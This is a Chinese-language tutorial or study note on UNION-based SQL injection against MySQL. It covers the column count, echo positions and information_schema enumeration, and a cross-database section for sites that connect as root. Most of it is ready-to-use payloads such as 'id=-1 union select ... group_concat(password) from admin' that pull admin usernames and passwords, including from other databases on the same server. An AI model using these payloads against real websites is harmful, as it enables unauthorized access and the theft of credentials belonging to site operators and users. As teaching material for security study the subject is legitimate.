一、sql注入
基本原理:沒有對用戶輸入的數據進行限制,導致數據庫語句可以做什么,用戶就可以做什么。取決于不同數據庫的不同查詢語言,所以為什么有mysql注入/orcale注入等等。
步驟:
【access】
表名(字典爆破來猜)
? ? ? ? 列名
? ? ? ? ? ? ? ? 值
【mysql等】
數據庫名( database()獲得?)
? ? ? ? 表名(information_schema.tables表獲得)
? ? ? ? ? ? ? ? 列名(information_schema.columns表獲得)
? ? ? ? ? ? ? ? ? ? ? ? 值(select 列名 from 表名)
思路:
00x1 初步搜集信息及數據庫名
? ? ? ? 判斷字段數,找哪些位置可以回顯這些相關信息。
????????????????找到交界處ok的最大值
????????????????????????????????是6
? ? ? ? ? ? ? ? 在對應的回顯位進行基本數據收集 user()、version()、database()
id=1沒反應就試試id=-1
00x2 拿到數據庫名,去找表名
id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='demo01'
id=-1 union select 1,2,group_concat(TABLE_NAME),4,5,6 from information_schema.tables where TABLE_SCHEMA='庫名'
? ? ? ? 記得用group_concat集合查詢出所有表名。
00x3 拿到表名,去找表中列名
id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='admin'
id=-1 union select 1,2,group_concat(COLUMN_NAME),4,5,6 from information_schema.columns where TABLE_NAME='表名'
00x4 直接表內查詢數據
id=-1 union select 1,2,group_concat(username),4,group_concat(password),6 from admin
id=-1 union select 1,2,group_concat(列1),4,group_concat(列2),6 from 表名
二、跨庫讀取
前置:root登錄? 一個root管理多個數據庫
? ? ? ? ? ?普通用戶登錄 一個用戶只能管理一個數據庫
所以如果是root登錄,我們可以嘗試跨庫讀取,從A站點得到B站點的登錄信息。也就是為什么我們剛剛初步搜集信息的時候要user()。
總結:A站被打到,那么root管理下的其他B站也會被打到
00x1? ?root下所有數據庫名獲取
判斷字段數為6
id=-1 union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata
00x2 找到庫,去找表名
id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='xwtj'
id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='庫名'
00x3 找到表,去找列名
id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='fz_admin'
id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='表名'
00x4 查詢數據
id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from xwtj.fz_admin
id=-1 union select 1,2,group_concat(username),group_concat(password),5,6 from 數據庫名.表名
一定注意 這里是跨庫,所以必須庫名.表名